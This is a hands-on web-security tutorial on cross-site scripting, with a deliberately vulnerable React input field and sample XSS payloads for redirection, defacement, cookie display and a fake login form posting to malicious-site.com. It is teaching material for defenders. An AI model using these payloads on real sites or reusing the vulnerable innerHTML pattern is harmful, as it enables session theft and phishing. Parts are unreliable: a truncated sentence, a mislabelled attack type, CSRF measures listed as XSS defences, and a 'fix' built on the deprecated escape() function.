XSS Attacks: Hands-On
Cross-Site Scripting (XSS) is one of the most prevalent web application vulnerabilities, affecting millions of websites worldwide. It allows attackers to inject malicious scripts into web pages, potentially compromising user data, stealing sensitive information, or redirecting users to phishing websites.
Understanding Cross-Site Scripting (XSS)
In simple terms, XSS attacks occur when a web application allows scripts to be embedded within the application's code by a malicious actor. These scripts can then be executed when users visit the affected web page, leading to harmful consequences.
Types of XSS Attacks
- Reflected XSS: This is the most common type of XSS attack, where the malicious script is injected into a web page as part of a request, such as a URL parameter or a form submission. The script is then executed when the web server reflects the request back to the user's browser.
An attacker sends a victim a link like http://example.com/search?q=<script>alert('XSS')</script>. When the victim clicks the link, the server reflects the input, and the script executes in the victim's browser, displaying an alert or stealing sensitive data.
- Stored XSS: In stored XSS attacks, the malicious script is permanently stored on the target server, such as in a database, message forum, or comment section. When a user visits the affected page, the script is retrieved and executed within the user's browser.
An attacker posts a malicious script in a comment on a blog. When other users view the comment, the script executes, potentially stealing cookies or redirecting users to a malicious site.
- DOM-based XSS: This type of XSS attack exploits vulnerabilities in the client-side code, such as JavaScript, to manipulate the Document Object Model (DOM) without directly injecting malicious code into the web page.
An attacker manipulates the URL to include a script, like http://example.com/page#<script>alert('XSS')</script>. The client-side JavaScript reads the URL fragment and injects it into the page, causing the script to execute in the victim's browser.
Interactive XSS Demonstration
Let's see how a simple XSS attack can be executed. We will use a benign script for demonstration purposes.
Setting Up a Mock Input Field
First, let's create a simple input field that could represent a user comment section on a website.
function LiveExample() { const displayUserInput = () => { const userInput = document.getElementById('userInput').value; // Vulnerable line: Directly setting innerHTML without sanitization document.getElementById('output').innerHTML = userInput; }; return ( <div> <input type="text" id="userInput" placeholder="Enter text or HTML" /> <button onClick={displayUserInput}>Display</button> <div id="output"></div> </div> ); }
This code is completely vulnerable to cross-site scripting (XSS) attacks due to a lack of input validation.
Injecting a Harmless Script
Now, try typing the following into the input field:
<img src="invalid.jpg" onerror="alert('XSS')">
Congratulations, you just performed a Reflected XSS Attack.
When this script is executed, it attempts to load an image that does not exist (invalid.jpg). The failure to load the image triggers the onerror event, causing an alert box to appear. This behavior was not
When a website fails to sanitize user inputs, scripts like the one above are treated as legitimate HTML, executed by the browser.
This seemingly harmless script demonstrates the potential consequences of XSS vulnerabilities. In a real-world attack, the alert command could be replaced with malicious code that steals cookies, redirects users to phishing sites, or injects malware.
More XSS Examples
Let's try to inject more scripts into our web form.
Redirection:
<img src="invalid.jpg" onerror="window.location='https://www.google.com';">
Instead of displaying an alert, this script executes window.location='https://www.google.com';, which redirects the user to Google's homepage.
Document manipulation:
<img src="invalid.jpg" onerror="document.body.innerHTML='<h1>Your page has been compromised</h1>';">
This script modifies the whole content of the HTML document displayed.
Cookie Theft:
<img src="invalid.jpg" onerror="alert('Cookies: ' + document.cookie);">
This one demonstates the potential for session hijacking by displaying the document's cookies. Real attacks might send these cookies to the attacker's server
Phishing with Fake Forms:
<img src="invalid.jpg" onerror="document.body.innerHTML='<form action=\"https://malicious-site.com\"><input type=\"text\" placeholder=\"Username\"><input type=\"password\" placeholder=\"Password\"><button type=\"submit\">Login</button></form>';">
This script replaces the webpage content with a fake login form, indicating how phishing attacks can be staged through XSS.
These examples merely illustrate the versatility of XSS attacks, as attackers can devise numerous other malicious scripts to exploit vulnerabilities and compromise user security.
According to the OWASP Top 10:2021, the category A03:2021-Injection, which includes Cross-site Scripting attacks, rank third among the most critical web application security risks. Consequently, prioritizing XSS prevention strategies in your applications is highly recommended.
Preventing XSS Attacks: A Multi-Layered Approach
Preventing XSS attacks requires a multi-layered approach that encompasses both server-side and client-side security measures. Here are some key strategies:
- Input Validation and Sanitization: Validate and sanitize all user inputs to remove harmful code. Use regular expressions, whitelists, and escaping mechanisms to accept only valid input.
- Output Encoding: Encode outputs to treat user input as data, not executable code. Use functions to encode HTML, JavaScript, CSS, and URL inputs.
- Content Security Policy (CSP): Use CSP to restrict which scripts can run on your page. Specify allowed sources for scripts, images, and other content.
- Set HttpOnly and Secure Flags: Use the HttpOnly flag to prevent JavaScript from accessing cookies. Set the Secure flag to ensure cookies are sent only over HTTPS.
- Double Submit Cookies: Send CSRF tokens both as cookies and request parameters. Validate tokens on the server to ensure request authenticity.
- Referer and Origin Header Validation: Check the Referer and Origin headers to ensure requests come from the expected origin.
- Regular Security Testing: Conduct automated and manual security tests to find and fix XSS vulnerabilities before they are exploited.
Solution
Getting back to the form we exploited previously, in order to eliminate the XSS vulnerability we need to add sanitization for the user input validation.
function LiveExample() {
const displayUserInput = () => {
const userInput = document.getElementById('userInput').value;
// Sanitize user input to prevent XSS attacks
const sanitizedUserInput = escape(userInput);
// Set the sanitized input to the output element
document.getElementById('output').innerHTML = sanitizedUserInput;
};
return (
<div>
<input type="text" id="userInput" placeholder="Enter text or HTML" />
<button onClick={displayUserInput}>Display</button>
<div id="output"></div>
</div>
);
}
Try copying this code to the previous code box and test if you can still inject the code with your script.